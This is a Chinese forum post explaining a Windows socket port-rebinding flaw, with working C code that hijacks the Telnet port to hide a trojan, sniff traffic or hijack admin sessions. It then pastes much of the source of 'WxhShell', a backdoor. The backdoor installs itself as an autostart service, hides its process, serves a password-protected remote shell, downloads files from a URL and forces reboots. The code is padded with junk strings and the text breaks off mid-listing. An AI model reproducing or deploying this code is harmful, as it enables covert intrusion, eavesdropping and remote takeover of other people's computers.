社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10670阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A.D{.a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l27\diKPJ  
E"L2&.  
  saddr.sin_family = AF_INET; 6: ]*c[7  
06Gt&_Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JKX_q&bUw  
cW{1 Pz^_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iR\Hv'|  
Uz7^1.-g4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7^M9qTEHp  
b9"jtRTdz  
  这意味着什么?意味着可以进行如下的攻击: 7#~+@'Oe  
l9Q(xuhv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j+^oz'q  
1-Po Z[p-R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $ -c!W!H  
n=,\;3Y=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !sRngXCXk?  
~l$3uN[g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IJJ%$%F/  
M gC:b-&5_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T<I=%P)  
m] W5+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cS.-7  
(4@lKKiU%H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dV Q-k  
RID]pek  
  #include n3lE, b  
  #include ?X-)J=XG  
  #include ^0#; YOk  
  #include    z`Hy'{1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )~V4+*<  
  int main() X{^}\,cVtG  
  { ~Aq5X I%i  
  WORD wVersionRequested; 720)VzT  
  DWORD ret; Pub0IIs  
  WSADATA wsaData; 7t?*  
  BOOL val; (n1Bh~R^  
  SOCKADDR_IN saddr; 0I{gJSK.,  
  SOCKADDR_IN scaddr; xP=/N!,#  
  int err; lKkN_ (/j  
  SOCKET s; $O{duJU  
  SOCKET sc; s!9dQ.  
  int caddsize; |8bq>01~  
  HANDLE mt; O8] 'o*<]  
  DWORD tid;   OgcHS?  
  wVersionRequested = MAKEWORD( 2, 2 ); !6G?zipB  
  err = WSAStartup( wVersionRequested, &wsaData ); hb/]8mR  
  if ( err != 0 ) { NjE</Empb%  
  printf("error!WSAStartup failed!\n"); v?c 0[+?  
  return -1; }dxDt qb  
  } Bk}><H  
  saddr.sin_family = AF_INET; dtPoo\@  
   IG?'zppjd6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m'-|{c  
`funE:>,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cV-1?h63  
  saddr.sin_port = htons(23); &3Zy|p4V<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5[{*{^F4  
  { Gd+ET  
  printf("error!socket failed!\n"); 1shBY@mlq  
  return -1; WU4UZpz  
  } v_S4hz6w\  
  val = TRUE; zKFp5H1!%+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eh*6cQ.0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kGkA:g:  
  { Y:ldR  
  printf("error!setsockopt failed!\n"); rtQHWRUn  
  return -1; a{[+<8=@1  
  } .P$IJUYO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =V97;kq+v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dJ:MjQG`W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y[@\j9Hq  
^2o dr \  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H +bdsk  
  { idRD![!UI  
  ret=GetLastError(); fn CItK~y  
  printf("error!bind failed!\n"); <e%F^#y_  
  return -1; J!ntXF  
  } f&4,?E;6%  
  listen(s,2); Lz DI0a.  
  while(1) ];+#i"l  
  { 65,(4Udz!  
  caddsize = sizeof(scaddr); <P%}|@  
  //接受连接请求 a4gi,pz$]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pbHsR^  
  if(sc!=INVALID_SOCKET) to"' By{9  
  { QHBtWQgS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7{oe ->r  
  if(mt==NULL) YYg)  
  { 3E^M?N2oc  
  printf("Thread Creat Failed!\n"); T88Y qI  
  break; x\s,= n3z  
  } pWE`x|J  
  } 6O2=Ns;J6  
  CloseHandle(mt); 6 fz}  
  } Q 6C-4ja  
  closesocket(s); z5Qs @dG  
  WSACleanup(); XA_FOw!cX  
  return 0; Hqz?E@bc@  
  }   _kFYBd  
  DWORD WINAPI ClientThread(LPVOID lpParam) vQ@2FZzu>  
  { >yJ-4lgZ  
  SOCKET ss = (SOCKET)lpParam; 2WvN2" f3  
  SOCKET sc; w'7R4  
  unsigned char buf[4096]; m+$ @'TbP  
  SOCKADDR_IN saddr; ,%#   
  long num; EA<}[4#jS  
  DWORD val; |rRG=tG_'  
  DWORD ret; ]7AX%EG3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^4v*W;Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T_<BVM  
  saddr.sin_family = AF_INET; c:M$m3Cs?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 02JL*  
  saddr.sin_port = htons(23); ?lCd{14Mkh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N?4q  
  { P`1EPF  
  printf("error!socket failed!\n"); _DPOyR2  
  return -1;  PWgDFL?  
  } smAC,-6 ]~  
  val = 100; bzmr"/#D3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _'x8M  
  { R@T6U:1  
  ret = GetLastError(); 2 4\g bv<  
  return -1; [IM%b~j(^  
  } O,V9R rG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g+zJ?  
  { MN= sIP,zk  
  ret = GetLastError(); JbQZ!+  
  return -1; a?cn9i)#  
  } 5iFV;W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VFD%h }  
  { KT*:F(4`  
  printf("error!socket connect failed!\n"); X}4}&  
  closesocket(sc); -[#n+`M  
  closesocket(ss); ~bA,GfSn0  
  return -1; yfjXqn[Z4  
  } iy5R5L 2  
  while(1) w5~i^x  
  { ek-!b!iI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t]_S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eQX`,9:5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,35&G"JK5  
  num = recv(ss,buf,4096,0); @y~P&HUN  
  if(num>0) Yig0/ "  
  send(sc,buf,num,0); P]<= ! F  
  else if(num==0) Sg*0[a3z  
  break; XbvDi+R 2A  
  num = recv(sc,buf,4096,0); 17UK1Jx,  
  if(num>0) $.e)  
  send(ss,buf,num,0); ~0tdfK0c  
  else if(num==0) yDd[e]zS`  
  break; \x\.  
  } uVU`tDzd:  
  closesocket(ss); K!8zwb=fq  
  closesocket(sc); Aa(<L$e!`  
  return 0 ; m24v@?*  
  } (RF>s.B<  
!)H*r|*[  
'?/&n8J\  
========================================================== ,I*X) (  
m^Lj+=Z"  
下边附上一个代码,,WXhSHELL I ,FqN}  
M?6;|-HH  
========================================================== s^|\9%WD  
99ASIC!  
#include "stdafx.h" KjR4=9MD  
whkJpK(  
#include <stdio.h> L=1 ~ f-  
#include <string.h> 0'ZYO.y  
#include <windows.h> mc@M,2@D  
#include <winsock2.h> nX x=1*X  
#include <winsvc.h> iK}v`xq  
#include <urlmon.h> H*U`  
2>y:N.  
#pragma comment (lib, "Ws2_32.lib") P\B3 y+)  
#pragma comment (lib, "urlmon.lib") LdTIR]  
,?b78_,2  
#define MAX_USER   100 // 最大客户端连接数 /mbCP>bcG  
#define BUF_SOCK   200 // sock buffer 5j [#'3TSU  
#define KEY_BUFF   255 // 输入 buffer Sb<\-O14"  
_-a|VTM  
#define REBOOT     0   // 重启 QPg2Y<2  
#define SHUTDOWN   1   // 关机 U~QMR-bz  
23E 0~O  
#define DEF_PORT   5000 // 监听端口 }$)&{d G  
Gp1EJ2d8  
#define REG_LEN     16   // 注册表键长度 m6so]xr  
#define SVC_LEN     80   // NT服务名长度 .ewZV9P)t  
<?|6*2_=  
// 从dll定义API i,OKf Xp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x0x $  9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kEAhTh&g*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zA{8C];~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3q~Fl=|.o  
F.KrZ3%4iB  
// wxhshell配置信息 {!K;`I[]v  
struct WSCFG { q) _r3   
  int ws_port;         // 监听端口 O)5 #Fcp(  
  char ws_passstr[REG_LEN]; // 口令 ]gP8?s|  
  int ws_autoins;       // 安装标记, 1=yes 0=no UH40~LxIma  
  char ws_regname[REG_LEN]; // 注册表键名 ^![{,o@"A  
  char ws_svcname[REG_LEN]; // 服务名 &:8T$U V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <d! 6[,W;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a J-}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M.k|bh8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _7 `E[&v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (t74a E pi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8kbBz  
A+2oh3  
}; TzY!D *%z  
,kE=TR.|  
// default Wxhshell configuration Tf l;7w.(A  
struct WSCFG wscfg={DEF_PORT, B!`\L!  
    "xuhuanlingzhe", 3/tJDb5  
    1, q!2<=:f  
    "Wxhshell", `E;)`J8b  
    "Wxhshell", { y/-:=S)A  
            "WxhShell Service", \\iK'|5YG  
    "Wrsky Windows CmdShell Service", $h]NXC6J  
    "Please Input Your Password: ", ]PVt o\B=  
  1, RIo'X@zb  
  "http://www.wrsky.com/wxhshell.exe", 00qZw?%K  
  "Wxhshell.exe" bA+[{  
    }; V85.DK!  
yM17H\=  
// 消息定义模块 ;&`:|Hf*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NEg>lIu<~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IDmsz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^je528%H  
char *msg_ws_ext="\n\rExit."; KL~AzLI  
char *msg_ws_end="\n\rQuit."; `t9.xB#Z  
char *msg_ws_boot="\n\rReboot..."; b6Xi  
char *msg_ws_poff="\n\rShutdown..."; F G _,  
char *msg_ws_down="\n\rSave to "; {9{J^@@  
$O]^Xm3{@  
char *msg_ws_err="\n\rErr!"; &:#A+4&  
char *msg_ws_ok="\n\rOK!"; $[w|oAwi  
K051usm  
char ExeFile[MAX_PATH]; ] j1 vbk  
int nUser = 0; V Q h/  
HANDLE handles[MAX_USER]; ,Z4^'1{D  
int OsIsNt; yI4DVu.  
Q %y,;N"ro  
SERVICE_STATUS       serviceStatus; rBD2Si=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #-dK0<:  
NCxn^$/+>9  
// 函数声明 500> CBL0O  
int Install(void); .]zw*t*  
int Uninstall(void); #rq?f  
int DownloadFile(char *sURL, SOCKET wsh); Bpas[2gYC  
int Boot(int flag); +yIL[D  
void HideProc(void); x {vIT- f  
int GetOsVer(void); +<B|qcT!  
int Wxhshell(SOCKET wsl); jRwa0Px(  
void TalkWithClient(void *cs); mOSCkp{<e  
int CmdShell(SOCKET sock); 'M lXnHxt  
int StartFromService(void); k?n]ZNlT  
int StartWxhshell(LPSTR lpCmdLine); 8iOO1I?+  
VB's  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y\z*p&I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ( w5f(4  
t@r#b67WJe  
// 数据结构和表定义 ;6zPiaDQ  
SERVICE_TABLE_ENTRY DispatchTable[] = ?AT(S  
{ A_]D~HH  
{wscfg.ws_svcname, NTServiceMain}, y* rY~U#3  
{NULL, NULL} TL]bY'%  
}; `_ 0)kdu  
@%%bRY  
// 自我安装 e+x*psQ  
int Install(void) GGp{b>E+ #  
{ 0hb/`[Q  
  char svExeFile[MAX_PATH]; 5C* ?1& !  
  HKEY key; ifd}]UMQ  
  strcpy(svExeFile,ExeFile); 8eN%sm  
rF'<r~Lw  
// 如果是win9x系统,修改注册表设为自启动 cL ae=N  
if(!OsIsNt) { Qv\bLR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "TUPYFK9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dUZ$wbV%h  
  RegCloseKey(key); +{'lZa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &6Ns7w6*z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {DSyV:   
  RegCloseKey(key); .dt#2a_5q  
  return 0; h k/+  
    } i5Eeg`NMl  
  } QT7_x`#J~o  
} > Z]P]e  
else { NuI T{3S  
\A ;^ UxG  
// 如果是NT以上系统,安装为系统服务 0}6QO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rAL1TU(vm  
if (schSCManager!=0) g&q^.7c}  
{ 6(,ItMbI  
  SC_HANDLE schService = CreateService f8R+7Ykx  
  ( sN;(/O  
  schSCManager, 9A(n _Rs7?  
  wscfg.ws_svcname, bd.j,4^  
  wscfg.ws_svcdisp,  Ls lM$  
  SERVICE_ALL_ACCESS, 3g^IXm:K$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }WA<=9e  
  SERVICE_AUTO_START, M\9IlV?'  
  SERVICE_ERROR_NORMAL, &^AzIfX}Gw  
  svExeFile, |e~u!V\m  
  NULL, Ia=&.,xub  
  NULL, 4 iik5  
  NULL, gYRqqV  
  NULL, !B0v<+;P8  
  NULL  {`tHJ|8  
  ); b_q! >&c  
  if (schService!=0) tsB.oDMP  
  { Q3(hK<Qh;  
  CloseServiceHandle(schService); d$4WK)U  
  CloseServiceHandle(schSCManager); sYl&Q.\q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $U\!q@'$  
  strcat(svExeFile,wscfg.ws_svcname); U`:lAG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8u4gx<;O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q$ bHO  
  RegCloseKey(key); i?lX,9%  
  return 0; /DK*y S  
    } zUe#Wp[  
  } rve7YS'  
  CloseServiceHandle(schSCManager); jM{qRfOrg  
} (MZ A  
} -Mr{+pf  
-$xKv4  
return 1; D WsCYo  
} e|S+G6 :O2  
B 9%yd*SJ  
// 自我卸载 6wa<'!   
int Uninstall(void) 8''9@xz  
{ <{3q{VW*  
  HKEY key; 7Ntjx(b$"h  
 s$K@X `  
if(!OsIsNt) { z?8zFP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J,CJPUf&  
  RegDeleteValue(key,wscfg.ws_regname); /+Wb6{lY  
  RegCloseKey(key); Dh*~U :6$g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u]ZqF *  
  RegDeleteValue(key,wscfg.ws_regname); }w;Q^EU  
  RegCloseKey(key); B)_!F`9  
  return 0; E|KLK4 ]  
  } >^M!@=/?J  
} mABwM$_  
} ?FkQe~FN{  
else { N:m@D][/sW  
<|mE9u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,e}mR>i=e  
if (schSCManager!=0) *?EjYI  
{ s@*,r@<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $}^Rsv(  
  if (schService!=0) m0dFA<5-  
  { gt].rwo"  
  if(DeleteService(schService)!=0) { }dV9%0s!  
  CloseServiceHandle(schService); uJ2C+$=Ul  
  CloseServiceHandle(schSCManager); \c5#\1<  
  return 0; :< KSf#O  
  } Fm-q=3  
  CloseServiceHandle(schService); (ouRf;\6$8  
  } wz*)L (pP  
  CloseServiceHandle(schSCManager); |H3?ox*  
} g_-?h&W  
} H24ate?t,  
@g@ fL%  
return 1; f(w#LuW<  
} \i&vOH'  
8u7K$Q  
// 从指定url下载文件 gPA>*;?E;@  
int DownloadFile(char *sURL, SOCKET wsh) v@}1WGY  
{ p*(U*8Q  
  HRESULT hr; M ,.0[+  
char seps[]= "/"; )'/nS$\E:  
char *token; j\jL[hG_  
char *file; x mrugNRg  
char myURL[MAX_PATH]; S'v V"  
char myFILE[MAX_PATH]; +73=2.C0  
=:ya;k&  
strcpy(myURL,sURL); ,?7xb]h  
  token=strtok(myURL,seps); e0G}$ as  
  while(token!=NULL) lEVQA*u[  
  { 'p|Iwtjn>  
    file=token; oF 1W}DtA  
  token=strtok(NULL,seps); VR5e CJ:i  
  } [qjAq@@N#q  
B6Wq/fl/  
GetCurrentDirectory(MAX_PATH,myFILE); aHVdClD2o  
strcat(myFILE, "\\"); 2Be?5+  
strcat(myFILE, file); JsWq._O{/  
  send(wsh,myFILE,strlen(myFILE),0); W>t&N  
send(wsh,"...",3,0); 1DI"LIL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R9|2&pfm(M  
  if(hr==S_OK) 3_R   
return 0; 3<~2"@J  
else QTrlQH&p  
return 1; yP1Y3Tga=  
~t.WwxY+  
} /I`bh  
' Z(MV&  
// 系统电源模块 Npf7p  
int Boot(int flag) J;Z>fAE7  
{ yccuTQvz  
  HANDLE hToken; $jUS[.S_|I  
  TOKEN_PRIVILEGES tkp; b0zxT9  
U||w6:W5  
  if(OsIsNt) { 7am/X.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >TQBRA;'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GP7) m  
    tkp.PrivilegeCount = 1; >TY5ZRB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vS24;:f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cA (e "N  
if(flag==REBOOT) { +|}K5q\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #<PA- y  
  return 0; 35N/v G0  
} %M0mwty]  
else { YKX>@)Dxv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wc`J`&#.#  
  return 0; =|WV^0=S'%  
} y}:)cA~o(y  
  } H2FFw-xW  
  else { DESViQM  
if(flag==REBOOT) { LGo@F;!n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +~i+k~{`H  
  return 0; 0:B^  
} mrLx]og,  
else { 057G;u/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8.;';[  
  return 0; @7[.> I(  
} VM V]TPks>  
} mB|mt+  
M_e$l`"G  
return 1; *|gs-<[#X  
} 5?~[|iPv  
x[O#(^q  
// win9x进程隐藏模块 :z0>H5  
void HideProc(void) r~D~7MNl  
{ ;MRC~F=  
,w b|?>Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fj t_9-.  
  if ( hKernel != NULL ) ^]lwd"$  
  { ,b.4uJg'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?od}~G4s#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UA!Gr3  
    FreeLibrary(hKernel); _AFt6\  
  } eDM0417O(  
";S*[d.2tA  
return; c] >&6-;rf  
} vo( j@+dz  
?lwQne8/  
// 获取操作系统版本 kj3o1Y  
int GetOsVer(void) u0 oYb_Yv  
{ 6nWx>R<  
  OSVERSIONINFO winfo; #G , *j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Pdm6u73  
  GetVersionEx(&winfo); L..X)-D2 n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `2(R}zUHN  
  return 1; D "] [&m  
  else `2mbF ^-4  
  return 0; kW2nrkF  
} K%TKQ<R|  
< 8 Y<w|Hh  
// 客户端句柄模块 n-b<vEZw#  
int Wxhshell(SOCKET wsl) P7k$^n  
{ k@";i4}A  
  SOCKET wsh; hp z*jyh8  
  struct sockaddr_in client; ^3)2]>pW  
  DWORD myID; (~pEro]?+)  
~~:8Yv[(  
  while(nUser<MAX_USER) C8W`Oly:]  
{ u g:G9vjQ  
  int nSize=sizeof(client); i(f;'fb*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6[h$r/GXh"  
  if(wsh==INVALID_SOCKET) return 1; f~"V  
FvNSu"O~K1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .iN*V|n  
if(handles[nUser]==0) J_[[BJ&}x  
  closesocket(wsh); ]z q_gV8k  
else PD T\Q\J^X  
  nUser++; +-!|%jG`%v  
  } b`W'M :$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #HuA(``[d  
O"^a.`27  
  return 0; &P{p\v2Y  
} BSu)O~s  
+l?ro[#6&.  
// 关闭 socket 73z|'0.  
void CloseIt(SOCKET wsh) vwH7/+  
{ .q9|XDqQc  
closesocket(wsh); $E,DxDT  
nUser--; ic]tUOC:  
ExitThread(0); :0j`yo:w  
} //5_E7Ehu$  
w$;*~Qc  
// 客户端请求句柄 Q%VR@[`\  
void TalkWithClient(void *cs) P"_}F  
{ L%O8vn^3  
Fx99"3`3  
  SOCKET wsh=(SOCKET)cs; n25tr'=  
  char pwd[SVC_LEN]; &|\}\+0Z  
  char cmd[KEY_BUFF]; Vv)E41  
char chr[1]; [O+^eE6h  
int i,j; >\.[}th}  
jKV?!~/F  
  while (nUser < MAX_USER) { U6'haPlOk%  
No&[ \;  
if(wscfg.ws_passstr) { ApJf4D<V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xOyL2   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V\`= "  
  //ZeroMemory(pwd,KEY_BUFF); 3pv1L~ ZI  
      i=0; L8tLW09  
  while(i<SVC_LEN) { ^RAFmM#F  
.QQI~p0:  
  // 设置超时 2-c0/?_4  
  fd_set FdRead; d~Ry>   
  struct timeval TimeOut; [5eT|uy  
  FD_ZERO(&FdRead); Hh;6B!zb+  
  FD_SET(wsh,&FdRead); v_h*:c  
  TimeOut.tv_sec=8; :;WDPRx  
  TimeOut.tv_usec=0; J9=0?^v-:B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JIKxY$GS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZpctsCz]  
J'c9577$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5"~^;O  
  pwd=chr[0]; HgATH  
  if(chr[0]==0xd || chr[0]==0xa) { ^r :A^q  
  pwd=0; )9jQ_  
  break; / lM~K:  
  } (<JDD]J  
  i++; C$ `Y[w  
    } 3 DHA^9<q  
PQ"%Z.F"  
  // 如果是非法用户,关闭 socket D=sc41]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j"u)/A8*  
} M>gZVB,eP>  
"}+/ 0$F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |B$\3,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A y[L{!)2{  
bCe-0!Q  
while(1) { T`ZJ=gv  
W8h\ s {  
  ZeroMemory(cmd,KEY_BUFF); SfL`JNi)  
6MNA.{Jdd  
      // 自动支持客户端 telnet标准   l4reG:uYG  
  j=0; 3(*s|V"  
  while(j<KEY_BUFF) { X3O$Sd(D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z2jb>%  
  cmd[j]=chr[0]; `80Hxp@  
  if(chr[0]==0xa || chr[0]==0xd) { aB!Am +g  
  cmd[j]=0; Z|S7 " ,  
  break; 32P]0&_O  
  } &*GX:0=/>  
  j++; 5w{pX1z1  
    } S)|b%mVwR  
oz-I/g3go  
  // 下载文件 :=eUNH  
  if(strstr(cmd,"http://")) { X hX'*{3k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k K|+W,  
  if(DownloadFile(cmd,wsh)) !*UdY(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yP4.Z9  
  else \U>Kn_7m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E"&9FxS]^  
  } jUSr t)o03  
  else { >! .9g  
|bnjC$b*  
    switch(cmd[0]) { XqH<)B ]  
  AK?j1Pk  
  // 帮助 xU<lv{m`D  
  case '?': { NP*0WT_gB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); : X|7l?{xW  
    break; J3^ZPW  
  } qJt gnk|  
  // 安装 ZUW>{'[K  
  case 'i': { lFY8^#@  
    if(Install()) A'(F%0NF6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iRHQRdij  
    else R_n-&d 'PP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [V0h9!  
    break; Nb/%>3O@  
    } fEv36xb2S  
  // 卸载 :ygz/L  
  case 'r': { !T . @  
    if(Uninstall()) vGT.(:\-,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kk+8NwM1  
    else 7"i*J6y*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a`Z f_;$@  
    break; toJ&$HrE  
    } Pv.@Y 30  
  // 显示 wxhshell 所在路径 ved Qwzh  
  case 'p': { 0M+tKFb  
    char svExeFile[MAX_PATH]; ~"Ki2'j)^]  
    strcpy(svExeFile,"\n\r"); uwA3!5  
      strcat(svExeFile,ExeFile); L(8dK  
        send(wsh,svExeFile,strlen(svExeFile),0); uI&M|u:nT  
    break; xR`2+t&t  
    } jpv,0(  
  // 重启 E/']M~Q  
  case 'b': { 6J+ZeBk??  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9(j!#`O7&  
    if(Boot(REBOOT)) 0%+k>(@ R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r'\TS U5!  
    else { ".D +# 2Kl  
